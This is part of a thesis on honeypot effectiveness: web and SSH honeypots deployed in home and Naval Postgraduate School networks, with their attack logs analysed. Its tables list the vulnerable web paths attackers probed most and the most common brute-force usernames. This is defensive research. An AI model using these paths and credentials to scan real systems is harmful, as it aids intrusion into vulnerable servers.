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Deception can be a useful defensive technique against cyber attacks. It has the 
advantage of unexpectedness to attackers and offers a variety of tactics. 
Honeypots are a good tool for deception. They act as decoy computers to 
confuse attackers and exhaust their time and resources. The objective of this 
thesis was to test the effectiveness of some honeypot tools in real networks by 
varying their location and virtualization, and by adding more deception to them. 
We tested both a web honeypot tool and an SSH honeypot tool. We deployed the 
web honeypot in both a residential network and at the Naval Postgraduate 
School network; the NPS honeypot attracted more attackers. Results also 
showed that the virtual honeypots received attacks from more unique IP 
addresses, and that adding deception to the web honeypot generated more 
interest by attackers. For the purpose of comparison, we used examined log files 
of a legitimate website www.cmand.org. The traffic distributions for the web 
honeypot and the legitimate website showed similarities, but the SSH honeypot 
was different. It appears that both honeypot tools are useful for providing 
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Cyber-defense mechanisms provide a wide variety of tools, and their 
development and improvement is a priority in the information technology (IT) 
world. However, the war against cyber attacks is still asymmetric in that cyber-
attackers have advantages over defenders. “The attacker can choose the time, 
place, and methods with little warning to the defender” [1]. Defenders are trying 
to find new methods of defense with maximum efficiency. One of the methods 
researched in recent years is deception. Its goal is to divert the attention of 
hackers from the real assets and make them spend time and resources on 
attacking fake assets.  
Honeypots are computer systems that are designed to receive and record 
Internet attacks. But honeypots can be an important tool in deception. Web 
honeypots can use techniques to make a honeypot website look legitimate by 
faking responses to Internet requests [2]. SSH honeypots [3] implement fake file 
systems to attract hackers to them so that brute-force attacks as well shell 
interactions are logged for further investigation. The more a website looks 
legitimate and attractive to hackers, and the more it does not look suspicious; the 
more it draws their attention and interest. The collected data can be used 
afterwards to learn the techniques used by hackers. 
The objective of this thesis is to study the effectiveness of some tools that 
use deception against Internet attacks using honeypots. We assume that a 
honeypot is more effective when it receives more malicious traffic and a hacker 
spends a longer time interacting with it. We studied the influence of parameters 
in making these honeypots more or less attractive. We studied the effect of the 
location where the honeypots are run, and compared honeypots deployed in real 
machines to honeypots deployed in virtual machines. In addition, we tested 
adding more deception to the web honeypot by modifications on the main web 
page, using static web pages, and redirecting traffic to other machines. We also 
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examined the malicious traffic distribution for deceptive honeypots by countries 
and by regions, and the effect of the protocol in use in malicious traffic 
distribution. 
Background on the main tools used for our experiments is given in 
Chapter II as well as for some other similar tools [4]. In Chapter III, we define the 
research problem that is the focus of our thesis and state related assumptions. 
Chapter IV details the experiment setup and configuration; it also contains a 
detailed description of hardware, software, and network configuration used. 
Chapter V presents experiment results and provides analysis and interpretation 
of them. Chapter VI provides conclusions and future work suggestions. Appendix 
A gives the steps followed for the installation of the Web honeypot. Appendix B 
gives the steps for the SSH honeypot installation. Appendix C shows some other 
interesting graphs and tables for the honeypots and snort intrusion detection 




II. PREVIOUS WORK IN CYBERSECURITY TECHNIQUES 
In cyberwarfare, attackers are often trying to find minor vulnerabilities to 
compromise the security of their enemies. On the other hand, organizations 
employ a combination of different techniques to ensure that the security level 
defined in their security policy is achieved. In this chapter, we will go over some 
of these techniques that we used, starting with deceptive tools like honeypots, 
then intrusion-detection tools, and finally network-traffic analysis tools. In the real 
world, these techniques complement each other and lead to a high security level 
if used correctly.  
A. HONEYPOTS 
Honeypots are security resources that take advantage of being probed, 
attacked, or compromised [6]. Mostly, they are decoy computers deployed to 
monitor and log suspicious activities [7]. They have the flexibility to solve a 
variety of security issues [6]. For example, they can be used like firewalls to deter 
network attacks. Frequently, they are used like intrusion-detection systems to 
detect and log attacks. Besides that, honeypots are tools used to investigate 
black hat (malicious) community activities. 
Honeypots can be classified based on their level of interaction as low, 
medium, or high-interaction honeypots. They may also be classified based on 
their purpose as production honeypots or research honeypots. Finally, they can 
be implemented in two different ways, physically and virtually. 
1. Honeypot Types Based on Level of Interaction 
(1) Low-Interaction Honeypots 
Low-interaction honeypots are easy to install, configure, deploy and 
maintain [6]. They basically emulate a variety of services with which an attacker 
has a limited interaction. As an example, Dionaea software emulates a Windows 
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2000 machine with an assortment of protocols running, such as Hypertext 
Transfer Protocol (HTTP), File Transfer Protocol (FTP), Microsoft SQL (MSSQL), 
service message block (SMB), and Session Initiation Protocol (SIP). This 
honeypot is mostly used to detect automated malware [8]. 
(2) Medium-Interaction Honeypots 
Medium-interaction honeypots have more ability to interact with hackers, 
and these honeypots give certain responses to entice attackers for more 
interactions. They are generally more difficult to install, configure, and maintain 
than low-interaction honeypots. As an instance, Kippo [3], [9] is a medium-
interaction honeypot that emulates a machine running the secure (socket) shell 
(SSH) service. An attacker can use the SSH protocol and attempt to log in to the 
honeypot machine by a brute-force attack. All login attempts, in addition to the 
whole shell interaction, are collected into logs and can be stored in a database 
for further analysis.  
(3) High-Interaction Honeypots 
High-interaction honeypots are the best honeypots for collecting 
information about attackers. They are time-consuming to install, configure, and 
maintain. Attackers are given genuine access to real systems rather than 
simulated access. The purpose behind deploying this kind of honeypot is to 
detect new vulnerabilities in operating systems or installed applications, and 
investigate new tools and techniques used by the black hat community [6]. As an 
example, HonSSH [10] is a high-interaction honeypot that sits between an 
attacker and a honeypot and creates two distinct SSH connections with them. Its 




2. Honeypot Types Based on Purpose 
Based on their intended purpose, honeypots may be classified into two 
types: production and research honeypots. 
Production honeypots are deployed by companies or corporations to 
improve their security level. They are usually deployed inside their production 
network to deter the attention of hackers from the real production servers. They 
generally provide only a little information about intrusions and have limited 
interaction with attackers’ machines [6], [11]. 
Research honeypots are deployed mainly to investigate the black hat 
community activities and help organizations learn how better to protect against 
security threats. They are harder to deploy and maintain than production 
honeypots, but they provide an important value in data gathering [6],  [11]. 
3. Honeypot Types Based on Deployment 
Physical honeypots are deployed in real machines and installed in real 
operating systems. Therefore, each honeypot requires its own physical resources 
such as memory, processor, hard disk, and other resources. They can be 
expensive to install and maintain, which makes them impractical [12] in some 
cases. 
Virtual honeypots simulate virtual computer systems at the network  
level [12]. In common use, multiple virtual honeypots are installed on virtual 
machines (guest machines) running on the same real machine (host machine). 
This virtualization is done using virtual machine tools like the VMware player, the 
VMware workstation, and others. Virtual honeypots are generally easy to deploy 
and maintain. They are easier to fingerprint by attackers than physical 
honeypots, however [13]. 
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4. The Honeynet Project 
The Honeynet Project [4] is an international non-profit organization 
specializing in security research. Its primary goal is to investigate recent Internet 
attacks and develop security tools to mitigate these attacks. In the official website 
of this project, we found lots of interesting tools that have links to other home 
websites where documentation about the tools and source files are provided.  
There are different kinds of tools in the Honeynet project. Most of them are 
honeypots, such as Glastopf and Dionaea, which are used for web attack 
detection and analysis, and Kippo, which is used for brute-force attack detection 
and analysis. Some of the tools are used for malware analysis, such as Cuckoo 
and droidbox. Others are used for data collection and analysis, such as Sebeka, 
HFlow2 and Honeysnap, and some extensions for the data collection tool 
Wireshark. We can also find some tools for intrusion signature generation, such 
as Nebula. 
B. INTRUSION-DETECTION SYSTEMS 
Intrusion-detection systems (IDS) are devices or software applications 
used to monitor system or network activities and detect malicious traffic. IDSs 
use signature-match methods to detect malicious traffic. IDSs collect logs that 
are used afterwards to produce reports to management stations. In contrast with 
intrusion-prevention system (IPS) such as honeypots, IDSs are passive and 
produce alerts that are sometimes overwhelming for the administrators if the set 
of rules used is not well specified. IDSs exist in two varieties: host-based and 
network-based. Host-based IDSs (HIDSs) run in a single device to monitor and 
log its inbound and outbound traffic and alert the administrators of any suspicious 
packet. Network-based IDSs (NIDSs) run on a specific point of the network to 
monitor and log traffic in all the network devices. As well as HIDSs, NIDSs use 
signature matches to detect malicious traffic and send alerts to administrators for 
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investigation. As an example, a NIDS may be installed on a subnet where the 
firewall is located to detect if any attackers are trying to bypass the firewall. 
1. Snort 
Snort is the most used intrusion-detection and prevention system. It is 
open-source software that uses a rule-based language that combines the 
benefits of signature, protocol, and anomaly-based inspection techniques [5]. 
The current version of Snort is 2.9.6, and the corresponding rule set is version 
2.9.6. The Snort website offers a 30-day-old version of rules for registered users. 
Paying subscriber users, however, can buy an up-to-date rules set. 
Snort uses five components illustrated in Figure 1: packet decoder, 
preprocessors, detection engine, logging and alerting system, and output 
modules. The packet decoder takes a packet from any type of network interfaces 
(Ethernet, PPP, etc.) and prepares it for processing. The preprocessor does 
several jobs such as preparing the packet for the detection engine, detecting 
anomalies in packet headers, defragmenting packets, and reassembling the 
TCP-stream. The detection engine is the component responsible for applying the 
rules to packets. The logging and alerting system is the part used to log events 
related to packets and generate alerts whenever a rule match happens. Finally, 




Figure 1.  Snort architecture. (From [14]). 
There are many ways to set up Snort and deploy it on a network. In Figure 
2, we illustrate one of its simplest uses, to monitor traffic in a small network. We 
used the same topology in our setup to be described, in which Snort was 
installed on a dedicated machine with two network cards. This machine is 
physically plugged into the mirrored port of a switch to monitor the traffic going 
through it. The interface card connected to the switch or the hub should not have 
an Internet Protocol (IP) address to make sure the intrusion-detection system will 
not be reached by outsider or insider attackers. The other interface card should 
have a private IP address that connects the machine to an administration 




Figure 2.  Snort network topology. (From [15]). 
C. NETWORK DATA COLLECTION AND ANALYSIS 
The honeypots and NIDS mentioned before both use a logging system to 
collect data, especially data about malicious network traffic. This data collected, 
however, does not have value without going through a very important step, which 
is network data analysis. In fact, data collected can be classified into four types: 
full content, session data, alert, and statistical data. Having full-content data 
means saving every byte of every packet. Session data ignores packet payload 
and focuses only on the protocol, direction, socket-pair, and size attributes of a 
packet al.ert data is triggered on predefined criteria (e.g., Snort rules). Statistical 
data provides summaries [16]. Wireshark is an example open-source network 
tool that captures full-content data. It is also a session-data tool, because it 
shows, in a handy way, the interaction between machines (whole-session 
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communication). Similar to Wireshark, Tcpdump is an open-source network-
sniffing tool that provides statistics about network data. 
D. CONCLUSION 
In this chapter, we defined important cybersecurity concepts and 
techniques, including honeypots, intrusion-detection systems, and data collection 
and analysis that we used in our project. We mentioned also some tools that we 




III. PROBLEM DEFINITION AND APPROACH 
In the previous chapter, we defined honeypots and we gave an overview 
of their different types. We mentioned also some other cyber tools that we used 
in this thesis for data collection or intrusion detection. In this chapter, we will 
define the problem we are dealing with, giving the important assumptions, the 
goal of this study, and the approach we used. In addition, we will go over the 
specific tools we tested. 
A. PROBLEM DEFINITION AND ASSUMPTIONS  
The purpose of this study is to measure the effectiveness of honeypots, 
which may vary depending on the environment and the type of implementation. 
The effectiveness of a honeypot is related to how well it can attract hackers to it 
and hold their attention. We assume that a honeypot is more effective when it 
receives more malicious traffic and a hacker spends a longer time interacting 
with it. That is, we expect to see more malicious traffic coming to a honeypot than 
to a legitimate website. The location where a honeypot is deployed will have an 
impact on its effectiveness. A honeypot deployed in a residential network may be 
less effective than a honeypot deployed in an organizational or enterprise 
network. On the other hand, a virtual honeypot may get detected by a hacker 
more easily than a physical honeypot. Therefore, we expect to get less malicious 
traffic for virtual honeypots compared to physical honeypots.  
In this thesis, we are interested also in the malicious traffic distribution for 
honeypots by countries and regions. We expect to see more malicious traffic 
from certain countries that are known to be sources of a relatively large volume 
of attack traffic. Moreover, the malicious traffic distribution may be different when 
the protocol used changes. In addition to that, we are interested to see the traffic 
distribution for IPv6 addresses. Unfortunately, only a few honeypots support IPv6 
address like Dionaea.  
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We studied mostly two honeypot technologies based on the TCP protocol, 
Glastopf [2], [17] and Kippo [3]. The first is a web honeypot and the second is an 
SSH honeypot. The HTTP and SSH protocols have common usage in networking 
traffic, which should encourage honeypot interactions.  
The goal of this thesis is to first measure the effectiveness of honeypots 
by comparing traffic coming to them to traffic coming to a legitimate website. 
Then, we vary the location and the type of implementation to see what impact, if 
any, this has on the honeypot’s effectiveness. Finally, we compare malicious and 
legitimate traffic distributions. 
B. APPROACH AND PHASES 
We deployed Glastopf and Kippo in two environments, a residential 
network (at home using an AT&T Internet connection) and an organizational 
network environment at the Naval Postgraduate School (NPS), which also uses 
AT&T as the service provider but is outside the school firewall. We collected logs 
in both locations. In the residential experiment (phase 1), data collected was 
compared to data of a legitimate website (www.cmand.org). “The CMAND lab at 
NPS focuses on advanced measurement and analysis techniques for informing 
network architecture and developing novel solutions to real-world critical 
infrastructure issues including routing, provisioning, and security and  
forensics” [18]. The website is hosted at Massachusetts Institute of Technology 
(MIT), and it is administrated by professors at NPS. We chose it because we had 
easy access to its Apache log files through the help of Professor Robert Beverly, 
one of the administrators. For the network of NPS (phase 2), we tested two 
methods of the honeypot deployment: direct installation on a Linux machine and 
installation on a virtual machine. To measure the attacks, we ran the Snort 
intrusion-detection system and the Wireshark network-traffic analysis tool. While 
the honeypots were running we modified them to encourage more malicious 
traffic coming to them. For example, we redirected the traffic coming to the web 
honeypot to our own website where we added more web pages and a 
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background database. We also added links and keywords in the main web page 
of the web honeypot. We studied the impact of these modifications on the traffic 
coming to these honeypots. 
C. TOOLS DETAILS 
We mainly used three tools in this thesis. We tested first a web honeypot, 
then an SSH Honeypot. To log attacks coming to both honeypots we also 
installed an intrusion-detection system. In the following, we give details about 
these tools. 
1. A Web Honeypot 
Glastopf [2], [17] is an open-source web-application honeypot that 
emulates different types of vulnerabilities to collect data about attacks targeting 
websites. It is a low-interaction honeypot that has been in development since 
2009 and is currently available in its third version. Its main principle is to respond 
to requests in the correct way to draw attackers’ attention and trigger more 
interactions with the honeypot. It can detect attacks like SQL injection, remote-file 
injection, local-file injection, and others. We installed Glastopfv3 on an Ubuntu 
desktop 12.04 LTS operating system and indexed it in the Google search engine. 
Appendix A details its installation and configuration.  
Glastopf especially targets automated attacks. It aims to provide what 
attackers expect to see and generates responses accordingly. When the attacker 
sends a malicious request, Glastopf processes it and uses a vulnerability 
emulator to respond in a way that suggests a vulnerability exists in the web 
server. The data collected is stored in an SQLite database or files for analysis. 




Figure 3.  General functionality overview. (From [2]). 
Glastopf distinguishes between the HTTP methods GET, POST, and 
HEAD [17]. It answers HEAD requests with a generic header. The entire content 
is stored when the attacker sends a POST request and the query is executed, 
but most of the time it handles GET requests and tries to identify attacks from 
predefined patterns. If an attack is identified, a response is generated as if the 
hacker were successful in his or her attack. 
To attract hackers, Glastopf uses two main principles: dorks and attack 
surfaces. A dork is a vulnerable path on an application for which an attacker is 
looking. Generally, dorks are found using search engines that index them by 
crawling the web. The attack surface is a web page that contains many dorks 
that the search engine adds to its index. The attack surface is generated 
dynamically from predefined dorks and then takes into consideration requests 
coming to the honeypots with new dorks that increase the size of the attack 
surface. This feature distinguishes Glastopf from most web honeypots, which 
have static attack surfaces. Its mixing of attacker activities and crawler activities, 
however, makes it hard to distinguish between malicious and legitimate traffic. 
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Requests coming to Glastopf are logged into a SQLite database. The 
Events table stores most of the logs; other tables store dork data. Table 1 shows 
a real example from the collected data.  
 
Field name Field type Description Example 
id INT Event id number 1903 
time VARCHAR Event time 2013-11-05 02:20:07 
source VARCHAR Request source address 46.105.79.83:55799 
Request_url VARCHAR Request path /phpMyAdmin-2.5.5/scripts/setup.php 











Pattern VARCHAR Pattern used Unknown 
Filename VARCHAR Name of injected file None 




2. A SSH Honeypot 
Kippo [3] is a medium-interaction SSH honeypot designed to log a brute-
force attack coming on port 22. It permits logging the whole shell interaction with 
an attacker. It can also be used for deception by presenting a fake file system. 
Kippo stores events in a MySQL database. The most important tables are listed 
in Table 2. 
 
Table name Description Fields 




Information about TCP 
connections/SSH 
Sessions. 
Id, starttime, endtime, ip, 
sensor, termsize, client; 
auth Information about client authentication attempts 
Id, session, success, 
username, password,  
timestamp 
input Information about entered shell commands 
Id, session, timestamp, realm, 
success, input 
downloads Information about downloaded files 
Id, session, timestamp, url, 
output file. 
Table 2.   Kippo database structure. 
We installed Kippo version 0.8 on Ubuntu desktop 12.04 LTS, and we 
added Kippo-graph-1.1 to help us visualize and analyze the logs collected by the 
honeypot. Appendix B details the installation of Kippo and Kippo-graph.  
3. Intrusion-Detection System 
As mentioned, Snort was used with the two honeypots to monitor attacks 
coming to them. We configured Snort on a machine with two network cards; one 
of the network cards had no IP address, which makes it hard to be compromised 
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from an external machine. The other network card had a private IP address and 
was connected to the same network as an administrative machine. Ideally, the 
intrusion-detection system should be plugged into a mirrored port of a switch so 
that it can see all traffic going through it. Since, we used a hub; the intrusion-
detection system could be plugged into any of the hub ports. 
We installed Snort on an Ubuntu machine 12.04 LTS. To visualize graphs 
about attacks, we installed the Snort reporter on the same machine. The latest 
public Snort rule set was downloaded and used to update the Snort rules. 
Barnyard2 was installed also to improve Snort efficiency and reduce the load on 
the detection engine. Barnyard2 stores unified output files from Snort to a 
MySQL database. Figure 4 illustrates the database scheme for Snort as well as 
the relationships between its different tables. 
 
Figure 4.  Snort database scheme. (From [19]). 
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IV. SETUP AND CONFIGURATION OF EXPERIMENT 
A. INTRODUCTION 
This chapter details the hardware, software, and network architecture 
used to achieve the research goal presented in the previous chapter. Also, we 
report the most important steps done during the experiment setup and 
configuration. 
B. EXPERIMENT SPECIFICATION 
Our experiment took place in two different locations. We started in a 
residential network where we used only one laptop connected to the Internet via 
a 2Wire AT&T router. We installed, ran, and collected logs for a web honeypot 
over a two-month period. The data collected was compared to data collected by 
an Apache web server for the website www.cmand.org. Figure 5 shows how the 
residential experiment was done. 
After that, we moved the laptop to NPS and used it as a real honeypot 
since it was installed directly on an Ubuntu machine. We also installed the SSH 
honeypot on the Ubuntu machine and collected logs for both honeypots over a 
three-month period. In the same location and for the same period of time, 
another laptop running the VMware player was used. We installed two virtual 
honeypots, the web and SSH honeypots, on this second laptop. Figure 6 shows 
the network architecture for the experiment done at NPS. 
1. Hardware Specifications 
In the first phase of the experiment, we used only one laptop, the real 
honeypot mentioned in Table1 that was used in phase 2. In the second phase, 
we used three computers, one Dell desktop and two Lenovo laptops. The 
desktop was used as a network intrusion-detection system (NIDS). One of the 
laptops was used as the real honeypot, whereas the other served as the virtual 
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honeypot. All the computers were connected to a hub that had an external 
Internet connection outside the NPS network firewall. Table 3 lists the hardware 
used in the experiment.  
 
Network IDS (DELL Optiplex960) 
Processor Intel Core 2 Quad CPU Q9550 2.83 GHzx4 




Intel 82567LM-3 Gigabit Network 
Connection 
NetXtreme BCM5721 Gigabit Ethernet 
PCI Express 
Real Honeypot (Lenovo T500) 
Processor Intel Core 2 Duo CPU P8600 2.4 GHz  
Memory 2 GB 
Storage 227 GB 
NIC 
 
Intel 82567LF Gigabit Network 
Connection 
Virtual Honeypot (Lenovo T500) 
Processor Intel Core 2 Duo CPU P8600 2.4 GHz  
Memory 2 GB 
Storage 244 GB 
NIC Intel 82567LF Gigabit Network 
Connection 
Table 3.   Hardware specifications. 
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2. Network Configuration and Internet Connection 
During the first phase of the experiment, a public IP address was needed 
for the web honeypot to make it reachable at the home internal laptop. The only 
public IP address AT&T provides, however, is the router IP address. All other 
machines connected to the router require private IP addresses. For this reason, 
we had to configure port forwarding from the router to the honeypot machine that 
had a private IP address assigned via Dynamic Host Configuration Protocol 
(DHCP). This configuration permitted the web honeypot to receive queries 
coming to the router on port 80 using the router’s public IP address 
(205.155.65.226). Figure 5 illustrates the network connection and the IP 
configuration for the phase 1 experiment.  
Phase 2 of the experiment was carried out at NPS. For security reasons, 
we were not allowed to install the honeypots inside the NPS network but were 
given an outside Internet connection. This permitted us to escape from the 
firewall rules that would have restricted us from receiving many queries from 
outside the NPS network. We obtained a public range of IP addresses from 
207.140.106.53 to 207.140.106.53 with a subnet mask 255.255.255.192, a 
gateway 207.140.106.1, and DNS servers 12.127.16.168 and 12.127.17.72. 





Figure 5.  Residential experiment (phase 1). 
 
Figure 6.  Network architecture at NPS (phase 2). 
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3. Software Specifications 
We installed Ubuntu Desktop 12.04 LTS Linux operating system on the 
real honeypot and the network IDS. For the virtual honeypot we installed 
Microsoft Windows 7 Service Pack 1 since this receives a higher rate of attack 
than a Linux system. The VMware player was installed on both honeypot 
machines. We installed Glastopf v3 (web honeypot) and Kippo 0.8 (SSH 
honeypot) directly on the real honeypot. We installed them on two virtual 
machines running Ubuntu 12.04 LTS on the virtual honeypot, however. Snort 
version 2.9.6 was installed on the network intrusion-detection machine. Table 4 
summarizes the programs installed on each of the three machines. 
 
Real Honeypot 
Operating System Ubuntu Desktop 12.04 LTS 
Web Honeypot Glastopf v3 
SSH Honeypot Kippo 0.8 
Virtual Machine software 
 
VMware player 5.0 was used to deploy a 
Ubuntu Desktop 12.04 LTS web server 
(Apache Tomcat 7) 
Virtual Honeypot 
Operating System Microsoft Windows 7 service pack 1 
Virtual Machine software VMware player 3.1.1 
Virtual Web Honeypot Glastopf v3 
Virtual SSH Honeypot Kippo 0.8 
NIDS 
Operating System Ubuntu Desktop 12.04 LTS 
IDS Snort version 2.9.6 
Table 4.   Software specifications. 
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V. DATA COLLECTION AND ANALYSIS 
A. PHASE 1 OF THE EXPERIMENT 
We ran Glastopf at the residential network and collected logs for three 
weeks between October 31, 2013, and November 18, 2013. Logs for the same 
period of time for events in the website cmand.org (Apache server) were 
available, too, and were used afterwards for comparison. 
Glastopf recorded 3,052 events with an average of 160 events per day. 
Only 367 events, however, were identified to be malicious, with an average of 19 
events per day. We recorded in Figure 7 the number of events every day. In the 
first three days, the number of events was considerably higher. When a new 
website is indexed, it starts attracting the curiosity of hackers in addition to 
automatic crawlers. After some days, crawler activities decreased and the total 
number of events dropped.  
 
Figure 7.  Number of events for the residential web honeypot. 
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We recorded in Figure 8 the number of attacks by countries. We noticed 
that crawlers have the highest rate of Internet events followed, by the countries 
France (146), Netherland (117) and the U.S. (50). To identify crawlers, we used 
an SQL query to find IP addresses containing the string “66.249” in the 
beginning, which are the common IP address prefixes for Google bots. We 
expected to see attacks coming from Asian countries like China, but the numbers 
were very low. This may be explained by IP spoofing. Also, three weeks may not 
be long enough to be sufficiently discovered by hackers.  
 
 
Figure 8.  Number of events by countries for the residential web 
honeypot. 
In Figure 9, we group the ongoing web attacks based on the top-level 
domain. Most attackers use IP addresses without any domain name (75%), 
because attackers generally prefer not to give any clue about their identity or 
location. The top-level domain “com” has the highest rate (11%), followed by the 
top-level domain “net” (7%). We also counted the top requested URLs during the 
same period of time, and the results are summarized in Table 5. Mostly, Glastopf 
recorded requests for robots.txt that attackers usually access in the fingerprinting 
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stage of a website. We also noticed requests for the phpMyAdmin index page 
that attackers use to get information about MySQL databases in the background. 
 








Table 5.   Top 10 URLs requested for the residential web 
honeypot. 















In the same way, we collected log files recorded by an Apache web server 
for the legitimate web server www.cmand.org. We obtained these log files from 
Professor Robert Beverly, who administers this website. We expected to receive 
fewer attacks than the web honeypot, because the second generated fake 
response to attract hackers to it. It was not easy to separate normal traffic from 
malicious traffic, so some clues were assumed. For instance, we assumed that 
error codes returned from the web server (404,401…) indicated attacks. IP 
addresses’ origin and time stamps were also assumed to be clues for attacks. 
For example, the same packet found several times from an IP address outside 
the U.S. with close timestamps was deemed to be an indication of an attack 
targeting the website. Finally, we assumed that Post queries coming to the web 
server identified malicious activities, because a website is not supposed to 
receive these kinds of queries.  
In Figure 10, we record the number of attacks every day during the same 
period of time, and notice that the number of events for www.cman.org was less 
than the number of events for the web honeypot. Between November 15 and 
November 18, however, the site had a high attack rate from the Chinese IP 
address 36.250.243.40. 
 
Figure 10.  Number of attacks coming to cmand.org. 
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For events recorded by countries, China (60%), the U.S., and the Ukraine 
were the leaders in Internet attacks coming to www.cmand.org. In Figure 11, we 
summarize the incoming attacks based on countries. 
 
Figure 11.  “Cmand.org” attacks by countries. 
In Figure 12, as we did for the web honeypot, we used the top-level 
domain to classify attacks on www.cmand.org. The same result was obtained, 
with the highest rates obtained for IP addresses without any domain name, 




Figure 12.   “Cmand.org” attack events by top-level domain. 
In the first phase of the experiment, our hypothesis was if the honeypot 
works well, it should be able to detect more attacks than a legitimate web server, 
because it has the ability to simulate vulnerabilities that attackers are looking for. 
Indeed, the number of attacks was higher for the web honeypot than for the 
legitimate web server, confirming our hypothesis. Further work should be done to 
identify clues to distinguish attacks on websites automatically from log files, and 
testing should be done over a longer period of time. 
B. PHASE 2 OF THE EXPERIMENT 
1. Experiment Description 
As we mentioned in Chapter IV, phase 2 of the experiment took place at 
NPS in its external network. We ran the web and SSH honeypots for three 
months in physical and virtual machines, and we collected data for malicious 
traffic in each case. We also used the data described previously for the legitimate 
website “cmand.org,” but for a longer period of time. We analyzed the data 
collected in several ways. First, we compared the result obtained at NPS to data 
resulting from running the honeypot in a residential area. Then, we compared the 
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real honeypot data to virtual honeypot data. Finally, we compared the malicious-
traffic distribution to the legitimate-traffic distribution for both honeypots. 
2. Comparison of Residential and Organizational Data 
We ran the web honeypot in a residential network for six weeks. We 
compared this with the data of the NPS web honeypots collected in the first six 
weeks. The average was 1,314 events per day for the NPS real web honeypot 
and 1,307 events per day for the NPS virtual web honeypot. Furthermore, 97% of 
the data was malicious for the NPS real web honeypot and 94% of the data was 
malicious for the NPS virtual web honeypot. We recorded an average of 98 
events per day for the residential web honeypot, however, with only 29 malicious 
events per day (only 30%). So, more than 70% of residential web honeypot 
events were crawler activities, whereas less than 10% were crawler activities for 
the NPS web honeypots. 
The number of events increased significantly to high rates for NPS web 
honeypots on the third week. Figure 13 shows the number of attacks coming to 
all three types of web honeypots: residential web honeypot in blue, NPS real web 
honeypot in red, and NPS virtual web honeypot in green. In each vertical set of 
dates across the bottom of the chart (in both Figure 13 and Figure 14), the first 
(lower) date that has the year 2013 corresponds to the residential honeypot date, 
and the second (upper) date that has the year 2014 is the NPS web honeypots 
date. The three charts follow similar patterns in the first three weeks. We noticed 
a peak in the beginning, which shows a crawler’s activities after indexing the 
honeypots in the Google search engine. After this peak, the three charts were 
similar during the remaining period of time. Toward the end of the third week, 
attacks coming to NPS web honeypots increased significantly to high values. 
This could be because the two web honeypots became well advertised. Figure 
14 shows only malicious traffic coming to all three honeypots. The two charts 
look very similar except for a peak in Figure 14 in the beginning, related to 




Figure 13.  Number of events for the residential and NPS web honeypots.  
 
Figure 14.  Number of attacks for the residential and NPS web honeypots. 
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3. Comparison of Real and Virtual Web Honeypots 
After three months, we noticed (Figure 15) that the virtual web honeypot 
received more events than the real web honeypot. This was true for both crawler 
and attack events. We eliminated crawler data and retained only malicious data. 




Figure 15.  Attacks vs. crawler events for the real and virtual web 
honeypots. 
We identify in Figure 16 four time periods: A, B, C and D. In period A, the 
two honeypots started with low rates during the first few weeks despite a small 
peak during the first days of indexing them. This appears to be because the two 
web honeypots, after being indexed, took a few days to be examined by 
crawlers, and only then started receiving malicious requests. In the beginning of 
phase B, we noticed that the real honeypot had higher rates than the virtual 
honeypots; after that, the virtual web honeypots received higher numbers of 
attacks. After a certain period of time, the virtual web honeypots started to be 
less interesting to attackers and the number of attacks dropped significantly at 
the end of phase B. 
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To make the web honeypots more efficient, we added links at the end of 
period B in the main web page for both honeypots that redirected traffic to our 
own web server. The web server was running in a virtual machine installed in the 
real web honeypot. The website has only a sign-up page where users can enter 
information like username, password, email address, phone number and 
address. It has also a MySQL database running in the background for storing 
information. This redirection affected the amount of malicious traffic coming to 
both honeypots. We can see that in period C the number of malicious activities 
increased significantly. Although we did not find many sign-up attempts because 
most of the malicious traffic is automatic and cannot handle interactive sites, 
putting links to another website resulted in more malicious traffic coming to both 
honeypots. At the end of period C, the traffic decreased again; we suppose that 
the web honeypots started losing the attention of attackers after a certain period 
of time. 
We added static web pages to the index page for the honeypots in period 
D. This modification again stimulated the traffic received, and we saw a peak in 
the middle of period D. Toward the end of period D, the traffic decreased again. 
 
 
Figure 16.  Attack events coming to the real and virtual web honeypots. 
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In Figure 17, we show attacks by IP addresses for the real web honeypot. 
We show in Figure 18 attacks by IP addresses for the virtual web honeypot. The 
first three attacking IP addresses were located in the U.S., followed by attacks 
coming from Ukraine, France and China. Almost the same IP addresses were 
seen for both NPS web real and virtual honeypots. We noticed, however, that the 
same IP addresses launched more traffic against the virtual honeypot than 
against the real honeypot. As an example, the IP address 173.208.182.74 was 
the origin of 11,789 malicious events against the real web honeypot and 19,406 
events against the virtual web honeypot. Crawlers occupied the fourth position 
with more than 4,000 events for both honeypots. 
 




Figure 18.  Top 10 attacker IP addresses (virtual web honeypot). 
Tables 6 and 7 show the top 10 URLs requested for the real and virtual 
web honeypots. The same URL was requested more often for the virtual web 
honeypot than for the real web honeypot. Also, although the top attacking IP 




r requested URL Count 
1 /comments 6,849 
2 /cgi-bin/comments 4,578 
3 /pivotx/includes/timthumb.php 3,271 
4 /board/board/include/pivotx/includes/wp-content/pivotx/includes/timthumb.php 3,022 
5 /sqlmanager/setup.php 2,954 
6 /irekani/browse 2,869 
7 /bb_lib/comments 2,845 
8 /plugins/content/plugin_googlemap2_proxy.php 2,831 
9 /phpMyAdmin-2.6.3-pl1/scripts/setup.php 2,813 
10 /cgi-bin/standard.php 2,585 





r requested URL Count 
1 /comments 7,874 
2 /cgi-bin/comments 7,576 
3 /dbadmin/comments 4,116 
4 /.br/comments 3,191 
5 /server-status/ 2,845 
6 /cgi-bin/newsletter/admin/home.php 2,639 
7 /cgi-bin/enter.php 2,399 
8 /wp-phpmyadmin/phpmyadmin/setup.php 2,395 
9 /admin.php 2,377 
10 /phpMyAdmin-2.6.0-alpha/scripts/setup.php 2,374 
Table 7.   Top 10 requested URLs (virtual web honeypot). 
4. Comparison of Real and Virtual SSH Honeypots. 
The two SSH honeypots (real and virtual) implemented with Kippo 
operated for more than four months. This period of time was sufficient to collect 
brute-force or dictionary-based attacks and compare results for the honeypots. 
The visualization tool “Kippo-Graph” was used to generate statistics and graphs 
from the MySQL database running in the background. 
We recorded 369,538 login attempts from 1,039 unique IP addresses for 
the real SSH honeypots between Feb 6, 2014, and July 17, 2014 (162 days). 
Average login attempts were 2,281 per day, and the average number of logins 
attempted per IP address was 355. The virtual SSH honeypot operated between 
March 30, 2014, and July 17, 2014 (109 days), and it received 235,485 login 
attempts from 669 unique IP addresses. The average number of logins 
attempted was 2,160 per day, and the average login attempted per IP address 
was 351. 
Figures 19 and 20 show the top 10 usernames attempted for both 
honeypots. Figures 21 and 22 show the top 10 passwords attempted. Although 
the two honeypots were running in the same location on the same subnet, they 
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received different login and password attempts. For the real SSH honeypot, the 
most common username attempted was “root” (87,197 times) followed by 
“admin” (11,776 times); the most common password attempted was “admin” 
